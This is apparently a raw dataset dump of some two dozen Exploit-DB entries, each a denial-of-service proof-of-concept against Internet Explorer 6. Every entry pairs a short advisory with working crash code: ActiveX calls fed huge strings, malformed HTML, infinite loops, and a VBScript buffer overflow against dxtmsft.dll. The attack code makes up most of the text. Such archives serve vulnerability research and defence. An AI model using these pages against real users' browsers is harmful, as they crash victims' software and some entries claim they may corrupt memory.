deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28196
Description: Microsoft Internet Explorer 6 - DirectAnimation.DAUserData Denial of Service
Type: dos
Platform: windows
Date: 2006-07-08
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/18902/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website that uses the 'DirectAnimation.DAUserData' object in a malicious manner.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject('DirectAnimation.DAUserData');
	a.Data = 'Hello';
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
Exploit-DB #4251
Description: Microsoft Internet Explorer 6 - DirectX Media Remote Overflow Denial of Service
Type: dos
Platform: windows
Date: 2007-07-31
Author: DeltahackingTEAM

Exploit:
<!--============================================================================
dxtmsft.dll Remote Buffer Overflow Exploit
Internet Explorer ver 6.0
DeltahackingSecurityTEAM
Bug discovered by Dr.Pantagon
Affected Software: dxtmsft.dll  (DirectX Media -- Image DirectX Transforms)
DLL VER : 6.00.2900.2180 (xpsp_sp2_rtm[PII_REDACTED])
Company Dll : Microsoft® Windows® Operating System
path : C:\WINDOWS\system32\dxtmsft.dll
all software that use this ocx are vulnerable to this exploits.
www.Deltahacking.net
www.Deltasecurity.ir
==============================================================================-->

<object classid="clsid:421516C1-3CF8-11D2-952A-00C04FA34F05" id="Chroma"></object>

<input language=VBScript onclick=jojo() type=button value="Click here to start Exploit"><script language='vbscript'>
 Sub jojo
  buff = String(999999, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaA")

  get_EDX = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbcccccccccccccddddddddddeee"

  buff1 = String(999999, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBbb")

  egg = buff + get_EDX + buff1 + scode

  Chroma.Color = egg
 End Sub
</script>

# milw0rm.com [2007-07-31]
Exploit-DB #24705
Description: Microsoft Internet Explorer 6 - Font Tag Denial of Service
Type: dos
Platform: windows
Date: 2004-10-26
Author: Jehiah Czebotar

Exploit:
source: https://www.securityfocus.com/bid/11536/info

Microsoft Internet Explorer is reported prone to a remote denial of service vulnerability.

The issue presents itself due to a malfunction that occurs when certain font tags are encountered and rendered.

When a page that contains the malicious HTML code is viewed, Internet Explorer and all instances of Internet Explorer that are spawned from the instance used to view the malicious page, will crash.

<div style="vertical-align:top;">
<p>First <font size="4">Paragraph</p>
<p>Second </font> Paragraph</p>
</div>
Exploit-DB #29229
Description: Microsoft Internet Explorer 6 - Frame Src Denial of Service
Type: dos
Platform: windows
Date: 2006-12-05
Author: Juan Pablo Lopez

Exploit:
source: https://www.securityfocus.com/bid/21447/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

This issue is triggered when an attacker entices a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<html> <frameset rows="1000%"> <frame src="?"> </html>
Exploit-DB #24211
Description: Microsoft Internet Explorer 6 - HREF Save As Denial of Service
Type: dos
Platform: windows
Date: 2004-06-15
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/10552/info

A vulnerability is reported to exist in Internet Explorer that may allow an attacker to cause the application to crash. The issue presents itself when a user attempts to invoke the "Save As" option on a malicious HREF URI.

When this URI is processed the issue leads to a crash in the running instance of Internet Explorer and all windows spawned from this instance.

<center><a href=::%7b>Right Click aOn Me And Click "Save Target As"</a>
Exploit-DB #24775
Description: Microsoft Internet Explorer 6 - Infinite Array Sort Denial of Service
Type: dos
Platform: windows
Date: 2004-11-25
Author: Berend-Jan Wever

Exploit:
source: https://www.securityfocus.com/bid/11751/info

Microsoft Internet is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
Exploit-DB #28256
Description: Microsoft Internet Explorer 6 - Internet.HHCtrl Click Denial of Service
Type: dos
Platform: windows
Date: 2006-07-22
Author: Alex F

Exploit:
source: https://www.securityfocus.com/bid/19109/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<html><body><script>

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject("Internet.HHCtrl.1");
	a.Click();
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>

</body></html>
Exploit-DB #24267
Description: Microsoft Internet Explorer 6 - JavaScript Null Pointer Exception Denial of Service
Type: dos
Platform: windows
Date: 2004-07-12
Author: Berend-Jan Wever

Exploit:
source: https://www.securityfocus.com/bid/10694/info

A denial of service vulnerability is reported to affect Internet Explorer. The issue is reported to present itself when Internet Explorer attempts to render JavaScript that contains an invalid for statement.

A remote attacker may exploit this vulnerability to cause the running instance of Internet Explorer to crash.

This vulnerability is reported to affect Internet Explorer version 6.0 (SP1), other versions might also be affected.

<SCRIPT language="javascript">

MSIE = window.open; // for hackers to come in
for (every_bug_found in MSIE) { /* there are zillions more hiden */ }

</SCRIPT>
Exploit-DB #26457
Description: Microsoft Internet Explorer 6 - Malformed HTML Parsing Denial of Service (1)
Type: dos
Platform: windows
Date: 2005-11-01
Author: ad@class101.org

Exploit:
source: https://www.securityfocus.com/bid/15268/info

Microsoft Internet Explorer is affected by a denial of service vulnerability. This issue arises because the application fails to properly parse certain malformed HTML content.

An attacker may exploit this issue by enticing a user to visit a malicious site resulting in a denial of service condition in the application.

Few details are available at this time; this BID will be updated as further information is disclosed. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/26457.zip
Exploit-DB #27906
Description: Microsoft Internet Explorer 6 - Malformed HTML Parsing Denial of Service (2)
Type: dos
Platform: windows
Date: 2006-05-26
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/18112/info

Microsoft Internet Explorer is affected by a denial-of-service vulnerability. This issue arises because the application fails to handle exceptional conditions in a proper manner.

An attacker may exploit this issue by enticing a user to visit a malicious site, resulting in a denial-of-service condition in the application.

This issue results in a NULL-pointer dereference, causing the application to crash. If attackers can manipulate the pointer being dereferenced, code execution may be possible. Note that this has not been confirmed.

Since exploiting this issue requires only standard HTML, it may not be easily mitigated.

Internet Explorer 6 is vulnerable to this issue; other versions may also be affected. This issue will reportedly crash Microsoft Outlook as well.

<applet><h4><title> </title><base>
Exploit-DB #23911
Description: Microsoft Internet Explorer 6 - MSWebDVD Object Denial of Service
Type: dos
Platform: windows
Date: 2004-04-06
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/10056/info

It has been reported that Internet Explorer may be prone to a denial of service vulnerability that may allow remote attackers to cause the browser to crash. The issue exists in the 'MSWebDVD' Object. An attacker may cause a denial of service condition in an instance of Internet Explorer by evoking the method through a malicious site and sending an excessive string value (about 255 characters) in the following manner:

object.AcceptParentalLevelChange (boolean value),UserName as string,Password
as string

Internet Explorer running in Windows XP has been reported to be affected by this issue, however, it is possible that other versions are affected as well.

Due to the nature of this issue, it has been conjectured that this vulnerability may be leveraged to execute arbitrary code. This has not been confirmed at the moment. 


<script language=vbscript>
'On Error Resume Next
dim mymy2,a

a="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Set mymy2= CreateObject("MSWebDVD.MSWebDVD.1")
mymy2.AcceptParentalLevelChange False, "xc", a

</script>
Exploit-DB #28421
Description: Microsoft Internet Explorer 6 - Multiple COM Object Color Property Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2006-08-21
Author: XSec

Exploit:
source: https://www.securityfocus.com/bid/19640/info

Microsoft Internet Explorer is prone to multiple denial-of-service vulnerabilities that occur when instantiating COM objects. 

The vulnerabilities arise because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls, resulting in denial-of-service conditions. Remote code execution may be possible, but this has not been confirmed.

This BID may be related to the issues described in BID 14511 (Microsoft Internet Explorer COM Object Instantiation Buffer Overflow Vulnerability) and BID 15061 Microsoft Internet Explorer COM Object Instantiation Variant Vulnerability). However, these issues affect a different set of COM objects that were not addressed in the previous BIDs.


<!--

// Internet Explorer Multiple COM Object Color Property DoS Vulnerability
// tested on Windows 2000 SP4/XP SP2

// http://www.xsec.org
// nop (nop#xsec.org)

-->
<html>
<head>
<title></title>
</head>
</body>
<script>
var i =0;
var Objects = new Array(

// CLSID: {3A04D93B-1EDD-4f3f-A375-A03EC19572C4}
// Info: MaskFilter
// ProgID: DXImageTransform.Microsoft.MaskFilter.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.MaskFilter.1",

// CLSID: {421516C1-3CF8-11D2-952A-00C04FA34F05}
// Info: Chroma
// ProgID: DXImageTransform.Microsoft.Chroma.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Chroma.1",

// CLSID: {9F8E6421-3D9B-11D2-952A-00C04FA34F05}
// Info: Glow
// ProgID: DXImageTransform.Microsoft.Glow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Glow.1",

// CLSID: {ADC6CB86-424C-11D2-952A-00C04FA34F05}
// Info: DropShadow
// ProgID: DXImageTransform.Microsoft.DropShadow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.DropShadow.1",

// CLSID: {E71B4063-3E59-11D2-952A-00C04FA34F05}
// Info: Shadow
// ProgID: DXImageTransform.Microsoft.Shadow.1
// InprocServer32: C:\WINNT\system32\dxtmsft.dll
"DXImageTransform.Microsoft.Shadow.1",

// CLSID: {8241F015-84D3-11d2-97E6-0000F803FF7A}
// Info: Shapes
// ProgID: DX3DTransform.Microsoft.Shapes.1
// InprocServer32: C:\WINNT\system32\dxtmsft3.dll
"DX3DTransform.Microsoft.Shapes.1",

null
);

var b = "AAAA";

while(b.length < 0x2000000)
{
b += b;
}

while(Objects[i])
{
var a = null;

window.status = "Create Object " + Objects[i] + "...";

try { a = new ActiveXObject(Objects[i]); } catch(e){}

if(a)
{
window.status = "Try Set " + Objects[i] + ".Color ...";
try { a.Color = b;} catch(e){}
}

i++;
}

window.status = "failed!";

</script>
</body>
</html>
Exploit-DB #28258
Description: Microsoft Internet Explorer 6 - Multiple Object ListWidth Property Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2006-07-23
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/19113/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

function Demo() {

	// Forms.ComboBox.1 is also affected
	var a = new ActiveXObject('Forms.ListBox.1'); 

	// NULL dereference
	a.ListWidth = 0x7ffffffe;
	
	// Integer overflow exception
	// a.ListWidth = 0x7fffffff;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
Exploit-DB #28265
Description: Microsoft Internet Explorer 6 - Native Function Iterator Denial of Service
Type: dos
Platform: windows
Date: 2006-07-24
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/19140/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

function Demo() {
	// Iterate through any native function reference to crash
	for (var i in window.alert) { var a = 1; }
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
Exploit-DB #28286
Description: Microsoft Internet Explorer 6 - NDFXArtEffects Stack Overflow
Type: dos
Platform: windows
Date: 2006-07-27
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/19184/info

Microsoft Internet Explorer is prone to a stack-overflow vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

var b = 'XXXX';
while(b.length <=1024*1024) b+=b;
var a = new ActiveXObject('DXImageTransform.Microsoft.NDFXArtEffects.1');
var i = 1016320;
a.RGBExtraColor = b.substring(0,i);
Exploit-DB #27727
Description: Microsoft Internet Explorer 6 - Nested OBJECT Tag Memory Corruption
Type: dos
Platform: windows
Date: 2006-04-22
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/17658/info

Microsoft Internet Explorer is prone to a memory-corruption vulnerability. This issue is due to a flaw in the application in handling nested OBJECT tags in HTML content.

An attacker could exploit this issue via a malicious web page to potentially execute arbitrary code in the context of the currently logged-in user, but this has not been confirmed. Exploit attempts likely result in crashing the affected application. Attackers could exploit this issue through HTML email/newsgroup postings or through other applications that employ the affected component.

Microsoft Internet Explorer 6 for Microsoft Windows XP SP2 is reportedly vulnerable to this issue; other versions may also be affected.

perl -e '{print "<STYLE></STYLE>\n<OBJECT>\nBork\n"x32}' >test.html
Exploit-DB #28259
Description: Microsoft Internet Explorer 6 - NMSA.ASFSourceMediaDescription Stack Overflow
Type: dos
Platform: windows
Date: 2006-07-24
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/19114/info

Microsoft Internet Explorer is prone to a stack-overflow vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

<script language="JavaScript">
<!--

function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;

//-->
</script>

<script>

function Demo() {
	var a = new ActiveXObject('NMSA.ASFSourceMediaDescription.1');
	var b = 'XXXX';
	while (b.length <= 1024) b += b;
	a.dispValue = b;	
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

<script language="JavaScript">
<!--
var SymRealOnLoad;
var SymRealOnUnload;

function SymOnUnload()
{
  window.open = SymWinOpen;
  if(SymRealOnUnload != null)
     SymRealOnUnload();
}

function SymOnLoad()
{
  if(SymRealOnLoad != null)
     SymRealOnLoad();
  window.open = SymRealWinOpen;
  SymRealOnUnload = window.onunload;
  window.onunload = SymOnUnload;
}

SymRealOnLoad = window.onload;
window.onload = SymOnLoad;

//-->
</script>
Exploit-DB #28197
Description: Microsoft Internet Explorer 6 - Object.Microsoft.DXTFilter Denial of Service
Type: dos
Platform: windows
Date: 2006-07-09
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/18903/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject("Object.Microsoft.DXTFilter");
	a.Enabled = 1;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
Exploit-DB #28144
Description: Microsoft Internet Explorer 6 - OutlookExpress.AddressBook Denial of Service
Type: dos
Platform: windows
Date: 2006-07-01
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/18771/info

Microsoft Internet Explorer is prone to a denial-of-service condition when processing the 'OutlookExpress.AddressBook' COM object. 

A successful attack may cause the browser to fail due to a null-pointer dereference.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject("OutlookExpress.AddressBook");
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
Exploit-DB #28246
Description: Microsoft Internet Explorer 6 - OVCtl Denial of Service
Type: dos
Platform: windows
Date: 2006-07-19
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/19079/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject('OVCtl.OVCtl.1');
	a.NewDefaultItem();
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>
Exploit-DB #30455
Description: Microsoft Internet Explorer 6 - Position:Relative Denial of Service
Type: dos
Platform: windows
Date: 2007-08-07
Author: Hamachiya2

Exploit:
source: https://www.securityfocus.com/bid/25222/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle certain HTML code.

This issue is triggered when a remote attacker entices a victim user to visit a malicious website.

Attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

This issue affects Internet Explorer 6. 

<!--
	Easy IE Crash by Hamachiya2 
(http://hamachiya.com/junk/ie_crash.html)
-->

<style>*{position:relative}</style><table><input>
Exploit-DB #1372
Description: Microsoft Internet Explorer 6 - PRE Tag Multiple Single Tags Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2005-12-14
Author: Markus Heer

Exploit:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
	<title>Lets IE crash</title>
	<style type="text/css">
		pre {
			white-space:normal;
		}
	</style>
</head>

<body>

	<pre>
		<span /><span />
	</pre>

</body>

</html>

# milw0rm.com [2005-12-14]
Exploit-DB #28194
Description: Microsoft Internet Explorer 6 - RDS.DataControl Denial of Service
Type: dos
Platform: windows
Date: 2006-07-08
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/18900/info

Microsoft Internet Explorer 6 is reportedly prone to a denial-of-service vulnerability because the application fails to perform boundary checks before copying user-supplied data into sensitive process buffers.

This issue is triggered when an attacker convinces a victim to activate a malicious ActiveX control object.

Remote attackers may exploit this issue to crash Internet Explorer 6, effectively denying service to legitimate users.

A stack-based heap overflow may be possible; as a result, remote code could run in the context of the user running the affected application. This has not been confirmed.

var a = new ActiveXObject(&#039;RDS.DataControl&#039;);
var b = "X";
while (b.length < (1024*256)) a.URL = (b+=b);
Exploit-DB #28213
Description: Microsoft Internet Explorer 6 - RevealTrans Denial of Service
Type: dos
Platform: windows
Date: 2006-07-12
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/18960/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject('DXImageTransform.Microsoft.RevealTrans.1');
	a.Transition = 1;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>